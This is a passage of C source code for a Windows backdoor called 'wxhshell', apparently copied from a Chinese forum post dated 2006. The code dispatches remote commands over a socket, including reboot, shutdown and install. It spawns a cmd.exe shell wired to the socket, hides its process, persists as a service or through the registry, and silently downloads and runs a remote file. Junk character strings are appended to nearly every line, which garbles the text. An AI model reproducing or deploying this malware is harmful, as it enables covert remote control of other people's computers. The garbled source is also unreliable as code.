    switch(cmd[0]) { FRpTYLA2  
  5at\!17TY  
  // 帮助 ;i|V++$_  
  case '?': { 6Ouy%]0$I3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ._JM3o}F  
    break; |pk1pV |  
  } D(6d#c  
  // 安装 ]l.y/pRP5[  
  case 'i': { GGHe{l  
    if(Install()) n)$T zND  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) 9h5a+Z  
    else ':6!f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KZ^W@*`D  
    break; '#d`K.;_b.  
    } .r!:` 6  
  // 卸载 WMfu5x7e4  
  case 'r': { 2lPj%i 5  
    if(Uninstall()) :{NvBxc[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t. B %7e  
    else G\3@QgyQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |,rIB  
    break; 7@"J&><w!  
    } !l1UpJp  
  // 显示 wxhshell 所在路径 `oH=O6  
  case 'p': { Qm86!(eZ-  
    char svExeFile[MAX_PATH]; F/;uN5{o  
    strcpy(svExeFile,"\n\r"); & %4x  
      strcat(svExeFile,ExeFile); sp*_;h3'  
        send(wsh,svExeFile,strlen(svExeFile),0); Et{4*+A  
    break; D hy  
    } 3gZ|^h6 +  
  // 重启 L ;5uB2  
  case 'b': { R /J@XP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F.ml]k&(m  
    if(Boot(REBOOT)) tEP~`$9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QbMVY  
    else { h;105$E1  
    closesocket(wsh); o#Q0J17i?  
    ExitThread(0); >]uV  
    } |~vo  
    break; 1?s]nU  
    } Sgp$B:  
  // 关机 lN"%~n?  
  case 'd': { t~m >\(&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V"=(I'X  
    if(Boot(SHUTDOWN)) G/T oiUY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mEsOYIu{  
    else { Nb/W+& y  
    closesocket(wsh); f,{O%*PUA  
    ExitThread(0); E'qGKT  
    } >g8H  
    break; D.?Rc'y D  
    } :^".cs?g  
  // 获取shell luD.3&0n  
  case 's': { W.b?MPy]  
    CmdShell(wsh); b,U"N-6  
    closesocket(wsh); $w{!}U2+-  
    ExitThread(0); x#z}A&  
    break; %7WQb]y  
  } Z}74% 9qE  
  // 退出 B[k {u#Kp  
  case 'x': {  )! 2$yD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @C7if lo6  
    CloseIt(wsh); ht _fbh(l  
    break; rMkoE7n  
    } !#P|2>>u  
  // 离开 63R?=u@  
  case 'q': { _kR);\V.8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yxq+<A4,a  
    closesocket(wsh); .9X,)^D  
    WSACleanup(); &c<0g`x  
    exit(1); a?#v,4t^  
    break; !qe ,&JL  
        } oGz-lO{lt  
  } b?Dhhf  
  } *`D(drnT{  
5&V0(LT]C  
  // 提示信息 R7YL I1ov  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (3kz(6S  
} 3(D!]ku~m  
  } KG:CVIW Y  
Y] Q=kI  
  return; NYopt?Xg  
} B?d^JWTZ  
!Cse,6/Z  
// shell模块句柄 UzZzt$Kw  
int CmdShell(SOCKET sock) VB x,q3.  
{ ]7SX _:'*  
STARTUPINFO si; BK._cDR  
ZeroMemory(&si,sizeof(si)); y" 4Nw]kU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Y<Hi\2oy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^id9_RU   
PROCESS_INFORMATION ProcessInfo; YCJcDab  
char cmdline[]="cmd"; {s^vAD<~x3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s~OGl PK  
  return 0; (' yBIb\ue  
} MVe:[=VOT|  
1&\ A#  
// 自身启动模式 Fy(-.S1  
int StartFromService(void) Y![m'q}K  
{ d8l T+MS=  
typedef struct $ {29[hO  
{ #NU;$ &  
  DWORD ExitStatus; WDznhMo  
  DWORD PebBaseAddress; b[}f]pB@n  
  DWORD AffinityMask; 'n1-?T)  
  DWORD BasePriority; QkMK\Up  
  ULONG UniqueProcessId; c@p4,G  
  ULONG InheritedFromUniqueProcessId; Y`$dtg {  
}   PROCESS_BASIC_INFORMATION; A UCk]  
!*Hgl\t6a  
PROCNTQSIP NtQueryInformationProcess; M=vRy|TL  
NCm>iEeY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xw2dEvjgp%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }O=QXIF5  
u#TRm?s  
  HANDLE             hProcess; v/dyu  
  PROCESS_BASIC_INFORMATION pbi; frB~ajXK  
(J!FW(Ma|=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mf [v7\  
  if(NULL == hInst ) return 0; '9O4$s1  
uCX+Lw+As  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Skm$:`u;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HoA[U T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <HReh>)[  
j SLC L'  
  if (!NtQueryInformationProcess) return 0; y*i_Ec\h  
Ln~Z_!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IB~`Ht8 b  
  if(!hProcess) return 0; uL`6}0  
>e F4YZ"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \1k(4MWd  
6g\SJ O-;N  
  CloseHandle(hProcess); tG1,AkyZ  
r?^[o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N!O.=>8<  
if(hProcess==NULL) return 0; -Ucj|9+(a  
"'389*-  
HMODULE hMod; y^utMH  
char procName[255]; XQI. z7F  
unsigned long cbNeeded; lHg&|S&J  
H)#HK!F6f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ml)0z&jQX  
iR k.t=B  
  CloseHandle(hProcess); \?n4d#=$o  
P(H,_7 4  
if(strstr(procName,"services")) return 1; // 以服务启动 _FV<[x,nE8  
)`Zj:^bz9  
  return 0; // 注册表启动 E: EXp7  
} 6Xu^ cbD  
<>!Y[Xr^  
// 主模块 8&q|*/2  
int StartWxhshell(LPSTR lpCmdLine) 2|J>e(&akY  
{ F_KPhe$  
  SOCKET wsl; kzZdYiC  
BOOL val=TRUE; N*d )<8_  
  int port=0; {Pi+VuLE  
  struct sockaddr_in door; }B-@lbK6)  
 ;'^5$q  
  if(wscfg.ws_autoins) Install(); EN OaC  
?fO 2&)r  
port=atoi(lpCmdLine); 2.Kbj^  
Z_%9LxZlyj  
if(port<=0) port=wscfg.ws_port; }zA kUt  
K6vF}A|  
  WSADATA data; x2@Q5|a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v=-8} S  
|~QHCg<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Oj}PGj$e\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `R}q&|o7<  
  door.sin_family = AF_INET; axf4N@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /CpU.^V  
  door.sin_port = htons(port); DA>_9o/l  
o6{[7jI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mi|PhDXMh  
closesocket(wsl); >]6 inS9  
return 1; ;.%Ii w&WG  
} 1J(` kQ)c  
z|';Y!kQ  
  if(listen(wsl,2) == INVALID_SOCKET) { `5VEGSP]  
closesocket(wsl); ~d+.w%Z `  
return 1; Gz>M Y4+G  
} <<xUh|zE  
  Wxhshell(wsl); B/P E{ /  
  WSACleanup(); 9XU"Ppv  
94 2(a  
return 0; Ww8C}2g3  
5C03)Go3Z  
} w!~%v #  
7/p&]0w  
// 以NT服务方式启动 q7itznQSKc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sbWen?  
{ BvXA9YQ3  
DWORD   status = 0; D1Yc_  
  DWORD   specificError = 0xfffffff; y)`f$Hl@1  
-2)6QKh~D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !/1aot^(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *'b3Z3c,;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &&(^;+  
  serviceStatus.dwWin32ExitCode     = 0; v]"W.<B,  
  serviceStatus.dwServiceSpecificExitCode = 0; P>*B{fi^  
  serviceStatus.dwCheckPoint       = 0; *aE/\b  
  serviceStatus.dwWaitHint       = 0; Y)X 'hk)5|  
vr/O%mDp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )qg cz<p?W  
  if (hServiceStatusHandle==0) return; ^qn,b/>L  
iL^bf*  
status = GetLastError(); B@v\tpR  
  if (status!=NO_ERROR) {'.[N79xP  
{ k!{0ku}]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Dd@&N  
    serviceStatus.dwCheckPoint       = 0; xY3 KKje  
    serviceStatus.dwWaitHint       = 0; pS1f y]  
    serviceStatus.dwWin32ExitCode     = status; z#$>f*b  
    serviceStatus.dwServiceSpecificExitCode = specificError; PL+j;V(<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r2KfZ>tWg"  
    return; -vRZCIj!  
  } r&^xg`i[z>  
h .A@o#x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RmR-uQU-c  
  serviceStatus.dwCheckPoint       = 0; )<]*!  
  serviceStatus.dwWaitHint       = 0; W%3<"'eP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JG]67v{F  
} 9VEx0mkdd  
'p%\fb6`  
// 处理NT服务事件,比如:启动、停止 7Wd}H Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k0%*{IVPN  
{ 0|1)cO}Dy  
switch(fdwControl) ~OuKewr\  
{ i,[S1g  
case SERVICE_CONTROL_STOP: )oEHE7y  
  serviceStatus.dwWin32ExitCode = 0; # :^aE|s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (qf%,F,_L  
  serviceStatus.dwCheckPoint   = 0; |.OXe!uU41  
  serviceStatus.dwWaitHint     = 0; v)^8e0vx  
  { H$M#+EfL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Cbah%X  
  } B=4xZJ Py  
  return; MLu@|Xgh  
case SERVICE_CONTROL_PAUSE: |)"`v'8>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bO)voJ<  
  break; /-in:gX8  
case SERVICE_CONTROL_CONTINUE: ?9Lp@k~TO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P^wDt14>  
  break; y:C=Ni&,"  
case SERVICE_CONTROL_INTERROGATE: ]c67zyX=%  
  break; D*!UB5<>/t  
}; I}?+>cf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NuL.l__W  
} }bU1wIW9I  
@-L4<=$J  
// 标准应用程序主函数 676r0`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f Fr[ &\[  
{ bgi B*`z  
6RA4@bIG  
// 获取操作系统版本 *OX;ZQg0  
OsIsNt=GetOsVer(); @X$~{Vp__  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DdI V~CxD  
J )*7JX  
  // 从命令行安装 E41ay:duAl  
  if(strpbrk(lpCmdLine,"iI")) Install(); )~u<u:N  
RotWMGNK  
  // 下载执行文件 W%6Y?pf)z  
if(wscfg.ws_downexe) { nIckI!U#D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %%7~<=rk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2YS1%<-g*  
} T>$S&U  
^ UB*Q  
if(!OsIsNt) { &jbZL5  
// 如果时win9x,隐藏进程并且设置为注册表启动 (IE\}QcK  
HideProc(); I%8>nMTJ  
StartWxhshell(lpCmdLine); ;,OZ8g)LH  
} w=|"{-ijo  
else Eku+&f@RB  
  if(StartFromService()) I1J/de,u  
  // 以服务方式启动 kMCg fL  
  StartServiceCtrlDispatcher(DispatchTable); vXq2="+  
else +dw=)A#/  
  // 普通方式启动 3 P)N,  
  StartWxhshell(lpCmdLine); Cyn_UE  
@4ccZ&`  
return 0; B1u.aa$  
}
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只看该作者 1 发表于: 2006-10-10
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